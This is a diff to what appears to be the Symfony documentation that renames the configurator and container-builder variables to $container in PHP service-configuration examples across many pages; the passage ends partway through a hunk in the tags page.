diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 08f788ec109..e96840fcb0d 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -204,8 +204,8 @@ you can determine the message bus based on an implemented interface:
         use App\MessageHandler\CommandHandlerInterface;
         use App\MessageHandler\QueryHandlerInterface;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             // ...
 
diff --git a/profiler.rst b/profiler.rst
index 8ae4d9dab36..ed89cfe7a08 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -512,8 +512,8 @@ you'll need to configure the data collector explicitly:
 
         use App\DataCollector\RequestCollector;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(RequestCollector::class)
                 ->tag('data_collector', [
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 3bd459d2e3e..f42b4205316 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -286,12 +286,12 @@ using the special ``when@`` keyword:
 
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework, ContainerConfigurator $containerConfigurator) {
+        return static function (FrameworkConfig $framework, ContainerConfigurator $container) {
             $framework->router()
                 ->utf8(true)
             ;
 
-            if ('prod' === $containerConfigurator->env()) {
+            if ('prod' === $container->env()) {
                 $framework->router()
                     ->strictRequirements(null)
                 ;
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index c35eb5a575e..fa2b1daabe0 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3356,8 +3356,8 @@ the `SMTP session`_. This value overrides any other recipient set in the code.
         // config/packages/mailer.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $containerConfigurator): void {
-            $containerConfigurator->extension('framework', [
+        return static function (ContainerConfigurator $container): void {
+            $container->extension('framework', [
                 'mailer' => [
                     'dsn' => 'smtp://localhost:25',
                     'envelope' => [
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index e707808e7e2..64cac27255e 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -122,8 +122,8 @@ services:
         use App\Lock\PostgresqlLock;
         use App\Lock\SqliteLock;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set('app.mysql_lock', MysqlLock::class);
             $services->set('app.postgresql_lock', PostgresqlLock::class);
@@ -184,8 +184,8 @@ the generic ``app.lock`` service can be defined as follows:
         use App\Lock\PostgresqlLock;
         use App\Lock\SqliteLock;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set('app.mysql_lock', MysqlLock::class);
             $services->set('app.postgresql_lock', PostgresqlLock::class);
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 7c050010ed5..78fd55f99aa 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -328,8 +328,8 @@ Now define a service for the ``ExtraLoader``:
 
         use App\Routing\ExtraLoader;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return static function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(ExtraLoader::class)
                 ->tag('routing.loader')
diff --git a/security.rst b/security.rst
index a492e38fac7..9fe3801d01b 100644
--- a/security.rst
+++ b/security.rst
@@ -1572,7 +1572,7 @@ and set the ``limiter`` option to its service ID:
         use Symfony\Config\FrameworkConfig;
         use Symfony\Config\SecurityConfig;
 
-        return static function (ContainerBuilder $containerBuilder, FrameworkConfig $framework, SecurityConfig $security) {
+        return static function (ContainerBuilder $container, FrameworkConfig $framework, SecurityConfig $security) {
             $framework->rateLimiter()
                 ->limiter('username_ip_login')
                     ->policy('token_bucket')
@@ -1588,7 +1588,7 @@ and set the ``limiter`` option to its service ID:
                     ->interval('15 minutes')
             ;
 
-            $containerBuilder->register('app.login_rate_limiter', DefaultLoginRateLimiter::class)
+            $container->register('app.login_rate_limiter', DefaultLoginRateLimiter::class)
                 ->setArguments([
                     // 1st argument is the limiter for IP
                     new Reference('limiter.ip_login'),
@@ -2589,8 +2589,8 @@ for these events.
 
             use App\EventListener\LogoutSubscriber;
 
-            return function(ContainerConfigurator $containerConfigurator) {
-                $services = $containerConfigurator->services();
+            return function(ContainerConfigurator $container) {
+                $services = $container->services();
 
                 $services->set(LogoutSubscriber::class)
                     ->tag('kernel.event_subscriber', [
diff --git a/security/access_control.rst b/security/access_control.rst
index 81aae70c602..b8a5f557286 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -91,8 +91,8 @@ Take the following ``access_control`` entries as an example:
         use Symfony\Component\DependencyInjection\ContainerBuilder;
         use Symfony\Config\SecurityConfig;
 
-        return static function (ContainerBuilder $containerBuilder, SecurityConfig $security) {
-            $containerBuilder->setParameter('env(TRUSTED_IPS)', '10.0.0.1, 10.0.0.2');
+        return static function (ContainerBuilder $container, SecurityConfig $security) {
+            $container->setParameter('env(TRUSTED_IPS)', '10.0.0.1, 10.0.0.2');
             // ...
 
             $security->accessControl()
diff --git a/service_container.rst b/service_container.rst
index 47a421f1345..afd5ea44bd7 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -205,9 +205,9 @@ each time you ask for it.
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return function(ContainerConfigurator $containerConfigurator) {
+            return function(ContainerConfigurator $container) {
                 // default configuration for services in *this* file
-                $services = $containerConfigurator->services()
+                $services = $container->services()
                     ->defaults()
                         ->autowire()      // Automatically injects dependencies in your services.
                         ->autoconfigure() // Automatically registers your services as commands, event subscribers, etc.
@@ -500,7 +500,7 @@ pass here. No problem! In your configuration, you can explicitly set this argume
 
         use App\Service\SiteUpdateManager;
 
-        return function(ContainerConfigurator $containerConfigurator) {
+        return function(ContainerConfigurator $container) {
             // ...
 
             // same as before
@@ -575,8 +575,8 @@ parameter and in PHP config use the ``service()`` function:
 
         use App\Service\MessageGenerator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(MessageGenerator::class)
                 // In versions earlier to Symfony 5.1 the service() function was called ref()
@@ -682,7 +682,7 @@ But, you can control this and pass in a different logger:
 
         use App\Service\MessageGenerator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
+        return function(ContainerConfigurator $container) {
             // ... same code as before
 
             // explicitly configure the service
@@ -783,8 +783,8 @@ You can also use the ``bind`` keyword to bind specific arguments by name or type
         use Symfony\Component\DependencyInjection\Definition;
         use Symfony\Component\DependencyInjection\Reference;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services()
+        return function(ContainerConfigurator $container) {
+            $services = $container->services()
                 ->defaults()
                     // pass this value to any $adminEmail argument for any service
                     // that's defined in this file (including controller arguments)
@@ -918,7 +918,7 @@ setting:
 
         use App\Service\PublicService;
 
-        return function(ContainerConfigurator $containerConfigurator) {
+        return function(ContainerConfigurator $container) {
             // ... same as code before
 
             // explicitly configure the service
@@ -975,7 +975,7 @@ key. For example, the default Symfony configuration contains this:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
+        return function(ContainerConfigurator $container) {
             // ...
 
             // makes classes in src/ available to be used as services
@@ -1157,7 +1157,7 @@ admin email. In this case, each needs to have a unique service id:
         use App\Service\MessageGenerator;
         use App\Service\SiteUpdateManager;
 
-        return function(ContainerConfigurator $containerConfigurator) {
+        return function(ContainerConfigurator $container) {
             // ...
 
             // site_update_manager.superadmin is the service's id
diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index 44a8492a53d..e4f7604a846 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -55,8 +55,8 @@ You can also control the ``public`` option on a service-by-service basis:
 
         use App\Service\Foo;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(Foo::class)
                 ->public();
@@ -127,8 +127,8 @@ services.
 
         use App\Mail\PhpMailer;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(PhpMailer::class)
                 ->private();
@@ -275,8 +275,8 @@ The following example shows how to inject an anonymous service into another serv
         use App\AnonymousBar;
         use App\Foo;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(Foo::class)
                 // In versions earlier to Symfony 5.1 the inline_service() function was called inline()
@@ -327,8 +327,8 @@ Using an anonymous service as a factory looks like this:
         use App\AnonymousBar;
         use App\Foo;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(Foo::class)
                 ->factory([inline_service(AnonymousBar::class), 'constructFoo']);
@@ -373,8 +373,8 @@ or you decided not to maintain it anymore), you can deprecate its definition:
 
         use App\Service\OldService;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(OldService::class)
                 ->deprecate(
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 60baa01b261..cd53bbeef35 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -104,8 +104,8 @@ both services:
     .. code-block:: php
 
         // config/services.php
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services()
+        return function(ContainerConfigurator $container) {
+            $services = $container->services()
                 ->defaults()
                     ->autowire()
                     ->autoconfigure()
@@ -243,7 +243,7 @@ adding a service alias:
 
         use App\Util\Rot13Transformer;
 
-        return function(ContainerConfigurator $containerConfigurator) {
+        return function(ContainerConfigurator $container) {
             // ...
 
             // the id is not a class, so it won't be used for autowiring
@@ -350,7 +350,7 @@ To fix that, add an :ref:`alias <service-autowiring-alias>`:
         use App\Util\Rot13Transformer;
         use App\Util\TransformerInterface;
 
-        return function(ContainerConfigurator $containerConfigurator) {
+        return function(ContainerConfigurator $container) {
             // ...
 
             $services->set(Rot13Transformer::class);
@@ -520,7 +520,7 @@ the injection::
         use App\Util\TransformerInterface;
         use App\Util\UppercaseTransformer;
 
-        return function(ContainerConfigurator $containerConfigurator) {
+        return function(ContainerConfigurator $container) {
             // ...
 
             $services->set(Rot13Transformer::class)->autowire();
diff --git a/service_container/calls.rst b/service_container/calls.rst
index a76cedbca2c..a40ca68e29c 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -66,7 +66,7 @@ To configure the container to call the ``setLogger`` method, use the ``calls`` k
 
         use App\Service\MessageGenerator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
+        return function(ContainerConfigurator $container) {
             // ...
 
             $services->set(MessageGenerator::class)
diff --git a/service_container/compiler_passes.rst b/service_container/compiler_passes.rst
index 34eee2e67df..fda044a1195 100644
--- a/service_container/compiler_passes.rst
+++ b/service_container/compiler_passes.rst
@@ -22,9 +22,9 @@ Compiler passes are registered in the ``build()`` method of the application kern
 
         // ...
 
-        protected function build(ContainerBuilder $containerBuilder): void
+        protected function build(ContainerBuilder $container): void
         {
-            $containerBuilder->addCompilerPass(new CustomPass());
+            $container->addCompilerPass(new CustomPass());
         }
     }
 
@@ -50,14 +50,14 @@ and process the services inside the ``process()`` method::
 
         // ...
 
-        public function process(ContainerBuilder $containerBuilder): void
+        public function process(ContainerBuilder $container): void
         {
             // in this method you can manipulate the service container:
             // for example, changing some container service:
-            $containerBuilder->getDefinition('app.some_private_service')->setPublic(true);
+            $container->getDefinition('app.some_private_service')->setPublic(true);
 
             // or processing tagged services:
-            foreach ($containerBuilder->findTaggedServiceIds('some_tag') as $id => $tags) {
+            foreach ($container->findTaggedServiceIds('some_tag') as $id => $tags) {
                 // ...
             }
         }
@@ -79,11 +79,11 @@ method in the extension)::
 
     class MyBundle extends Bundle
     {
-        public function build(ContainerBuilder $containerBuilder): void
+        public function build(ContainerBuilder $container): void
         {
-            parent::build($containerBuilder);
+            parent::build($container);
 
-            $containerBuilder->addCompilerPass(new CustomPass());
+            $container->addCompilerPass(new CustomPass());
         }
     }
 
diff --git a/service_container/configurators.rst b/service_container/configurators.rst
index 055eb541ae8..1d289580815 100644
--- a/service_container/configurators.rst
+++ b/service_container/configurators.rst
@@ -169,8 +169,8 @@ all the classes are already loaded as services. All you need to do is specify th
         use App\Mail\GreetingCardManager;
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             // Registers all 4 classes as services, including App\Mail\EmailConfigurator
             $services->load('App\\', '../src/*');
@@ -239,8 +239,8 @@ Services can be configured via invokable configurators (replacing the
         use App\Mail\GreetingCardManager;
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             // Registers all 4 classes as services, including App\Mail\EmailConfigurator
             $services->load('App\\', '../src/*');
diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 908ad68da5a..f1de823e47b 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -55,7 +55,7 @@ to another service: ``App\Mailer``. One way to do this is with an expression:
         use App\Mail\MailerConfiguration;
         use App\Mailer;
 
-        return function(ContainerConfigurator $containerConfigurator) {
+        return function(ContainerConfigurator $container) {
             // ...
 
             $services->set(MailerConfiguration::class);
@@ -110,8 +110,8 @@ via a ``container`` variable. Here's another example:
 
         use App\Mailer;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(Mailer::class)
                 ->args([expr("container.hasParameter('some_param') ? parameter('some_param') : 'default_value'")]);
diff --git a/service_container/factories.rst b/service_container/factories.rst
index 7c5c87dc004..a188bb2a046 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -74,8 +74,8 @@ create its object:
         use App\Email\NewsletterManager;
         use App\Email\NewsletterManagerStaticFactory;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(NewsletterManager::class)
                 // the first argument is the class and the second argument is the static method
@@ -156,8 +156,8 @@ You can omit the class on the factory declaration:
 
         use App\Email\NewsletterManager;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             // Note that we are not using service()
             $services->set(NewsletterManager::class)
@@ -218,8 +218,8 @@ Configuration of the service container then looks like this:
         use App\Email\NewsletterManager;
         use App\Email\NewsletterManagerFactory;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             // first, create a service for the factory
             $services->set(NewsletterManagerFactory::class);
@@ -297,8 +297,8 @@ method name:
         use App\Email\NewsletterManager;
         use App\Email\NewsletterManagerFactory;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(NewsletterManager::class)
                 ->factory(service(InvokableNewsletterManagerFactory::class));
@@ -357,8 +357,8 @@ previous examples takes the ``templating`` service as an argument:
         use App\Email\NewsletterManager;
         use App\Email\NewsletterManagerFactory;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(NewsletterManager::class)
                 ->factory([service(NewsletterManagerFactory::class), 'createNewsletterManager'])
diff --git a/service_container/import.rst b/service_container/import.rst
index 2fed44e16a5..1e0fcfb2cee 100644
--- a/service_container/import.rst
+++ b/service_container/import.rst
@@ -116,12 +116,12 @@ a relative or absolute path to the imported file:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->import('services/mailer.php');
+        return function(ContainerConfigurator $container) {
+            $container->import('services/mailer.php');
             // If you want to import a whole directory:
-            $containerConfigurator->import('services/');
+            $container->import('services/');
 
-            $services = $containerConfigurator->services()
+            $services = $container->services()
                 ->defaults()
                     ->autowire()
                     ->autoconfigure()
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index d88e5139824..595ac79b185 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -71,8 +71,8 @@ service container configuration:
 
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(NewsletterManager::class)
                 // In versions earlier to Symfony 5.1 the service() function was called ref()
@@ -274,8 +274,8 @@ that accepts the dependency::
 
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(NewsletterManager::class)
                 ->call('setMailer', [service('mailer')]);
@@ -356,8 +356,8 @@ Another possibility is setting public fields of the class directly::
 
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set('app.newsletter_manager', NewsletterManager::class)
                 ->property('mailer', service('mailer'));
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index bdac2a0bc46..bf45e100ef8 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -76,8 +76,8 @@ You can mark the service as ``lazy`` by manipulating its definition:
 
         use App\Twig\AppExtension;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(AppExtension::class)->lazy();
         };
@@ -170,8 +170,8 @@ specific interfaces.
         use App\Twig\AppExtension;
         use Twig\Extension\ExtensionInterface;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(AppExtension::class)
                 ->lazy()
diff --git a/service_container/optional_dependencies.rst b/service_container/optional_dependencies.rst
index 8317cd363df..86aa0c2eb22 100644
--- a/service_container/optional_dependencies.rst
+++ b/service_container/optional_dependencies.rst
@@ -38,8 +38,8 @@ if the service does not exist:
 
         use App\Newsletter\NewsletterManager;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(NewsletterManager::class)
                 // In versions earlier to Symfony 5.1 the service() function was called ref()
@@ -95,8 +95,8 @@ call if the service exists and remove the method call if it does not:
 
         use App\Newsletter\NewsletterManager;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(NewsletterManager::class)
                 ->call('setLogger', [service('logger')->ignoreOnInvalid()])
diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index 9cab17e2254..b3792dc5a6a 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -119,8 +119,8 @@ avoid duplicated service definitions:
         use App\Repository\DoctrinePostRepository;
         use App\Repository\DoctrineUserRepository;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(BaseDoctrineRepository::class)
                 ->abstract()
@@ -229,8 +229,8 @@ the child class:
         use App\Repository\DoctrineUserRepository;
         // ...
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(BaseDoctrineRepository::class)
                 // ...
diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
index 03e142b3455..723aa26e8bf 100644
--- a/service_container/service_closures.rst
+++ b/service_container/service_closures.rst
@@ -77,8 +77,8 @@ argument of type ``service_closure``:
 
         use App\Service\MyService;
 
-        return function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(MyService::class)
                 ->args([service_closure('mailer')]);
@@ -104,7 +104,7 @@ a service closure by wrapping the service reference into an instance of
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Reference;
 
-    public function process(ContainerBuilder $containerBuilder): void
+    public function process(ContainerBuilder $container): void
     {
         // ...
 
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 1bf0bf86d1e..5d663fbc797 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -41,8 +41,8 @@ When overriding an existing definition, the original service is lost:
         use App\Mailer;
         use App\NewMailer;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(Mailer::class);
 
@@ -98,8 +98,8 @@ but keeps a reference of the old one as ``.inner``:
         use App\DecoratingMailer;
         use App\Mailer;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(Mailer::class);
 
@@ -161,8 +161,8 @@ automatically changed to ``'.inner'``):
         use App\DecoratingMailer;
         use App\Mailer;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(Mailer::class);
 
@@ -233,8 +233,8 @@ automatically changed to ``'.inner'``):
             use App\DecoratingMailer;
             use App\Mailer;
 
-            return function(ContainerConfigurator $containerConfigurator) {
-                $services = $containerConfigurator->services();
+            return function(ContainerConfigurator $container) {
+                $services = $container->services();
 
                 $services->set(Mailer::class);
 
@@ -295,8 +295,8 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(\Foo::class);
 
@@ -382,8 +382,8 @@ ordered services, each one decorating the next:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->services()
+        return function(ContainerConfigurator $container) {
+            $container->services()
                 ->stack('decorated_foo_stack', [
                     inline_service(\Baz::class)->args([service('.inner')]),
                     inline_service(\Bar::class)->args([service('.inner')]),
@@ -465,8 +465,8 @@ advanced example of composition:
         use App\Decorated;
         use App\Decorator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->services()
+        return function(ContainerConfigurator $container) {
+            $container->services()
                 ->set('some_decorator', Decorator::class)
 
                 ->stack('embedded_stack', [
@@ -583,8 +583,8 @@ Three different behaviors are available:
 
         use Symfony\Component\DependencyInjection\ContainerInterface;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(Foo::class);
 
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 86389a71144..1b152ac6d68 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -233,8 +233,8 @@ service type to a service.
 
         use App\CommandBus;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(CommandBus::class)
                 ->tag('container.service_subscriber', ['key' => 'logger', 'id' => 'monolog.logger.event']);
@@ -325,8 +325,8 @@ or directly via PHP attributes:
 
         use App\CommandBus;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(CommandBus::class)
                 ->args([service_locator([
@@ -409,8 +409,8 @@ other services. To do so, create a new service definition using the
 
         use Symfony\Component\DependencyInjection\ServiceLocator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set('app.command_handler_locator', ServiceLocator::class)
                 // In versions earlier to Symfony 5.1 the service() function was called ref()
@@ -471,8 +471,8 @@ Now you can inject the service locator in any other services:
 
         use App\CommandBus;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(CommandBus::class)
                 ->args([service('app.command_handler_locator')]);
@@ -490,7 +490,7 @@ will share identical locators among all the services referencing them::
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Reference;
 
-    public function process(ContainerBuilder $containerBuilder): void
+    public function process(ContainerBuilder $container): void
     {
         // ...
 
@@ -499,9 +499,9 @@ will share identical locators among all the services referencing them::
             'logger' => new Reference('logger'),
         ];
 
-        $myService = $containerBuilder->findDefinition(MyService::class);
+        $myService = $container->findDefinition(MyService::class);
 
-        $myService->addArgument(ServiceLocatorTagPass::register($containerBuilder, $locateableServices));
+        $myService->addArgument(ServiceLocatorTagPass::register($container, $locateableServices));
     }
 
 Indexing the Collection of Services
@@ -579,8 +579,8 @@ of the ``key`` tag attribute (as defined in the ``index_by`` locator option):
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(App\Handler\One::class)
                 ->tag('app.handler', ['key' => 'handler_one'])
@@ -686,8 +686,8 @@ attribute to the locator service defining the name of this custom method:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->services()
+        return function(ContainerConfigurator $container) {
+            $container->services()
                 ->set(App\HandlerCollection::class)
                     ->args([tagged_locator('app.handler', 'key', 'myOwnMethodName')])
             ;
diff --git a/service_container/shared.rst b/service_container/shared.rst
index 003ad2914b7..435822fb25c 100644
--- a/service_container/shared.rst
+++ b/service_container/shared.rst
@@ -33,8 +33,8 @@ in your service definition:
 
         use App\SomeNonSharedService;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(SomeNonSharedService::class)
                 ->share(false);
diff --git a/service_container/synthetic_services.rst b/service_container/synthetic_services.rst
index 4dfec92709f..fc26c6848d3 100644
--- a/service_container/synthetic_services.rst
+++ b/service_container/synthetic_services.rst
@@ -63,8 +63,8 @@ configuration:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             // synthetic services don't specify a class
             $services->set('app.synthetic_service')
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 8777639cd60..bcb30e7da3e 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -37,8 +37,8 @@ example:
 
         use App\Twig\AppExtension;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(AppExtension::class)
                 ->tag('twig.extension');
@@ -103,8 +103,8 @@ If you want to apply tags automatically for your own services, use the
 
         use App\Security\CustomInterface;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             // this config only applies to the services created by this file
             $services
@@ -147,9 +147,9 @@ In a Symfony application, call this method in your kernel class::
     {
         // ...
 
-        protected function build(ContainerBuilder $containerBuilder): void
+        protected function build(ContainerBuilder $container): void
         {
-            $containerBuilder->registerForAutoconfiguration(CustomInterface::class)
+            $container->registerForAutoconfiguration(CustomInterface::class)
                 ->addTag('app.custom_tag')
             ;
         }
@@ -163,9 +163,9 @@ In a Symfony bundle, call this method in the ``load()`` method of the
     {
         // ...
 
-        public function load(array $configs, ContainerBuilder $containerBuilder): void
+        public function load(array $configs, ContainerBuilder $container): void
         {
-            $containerBuilder->registerForAutoconfiguration(CustomInterface::class)
+            $container->registerForAutoconfiguration(CustomInterface::class)
                 ->addTag('app.custom_tag')
             ;
         }
@@ -202,11 +202,11 @@ method::
     {
         // ...
 
-        protected function build(ContainerBuilder $containerBuilder): void
+        protected function build(ContainerBuilder $container): void
         {
             // ...
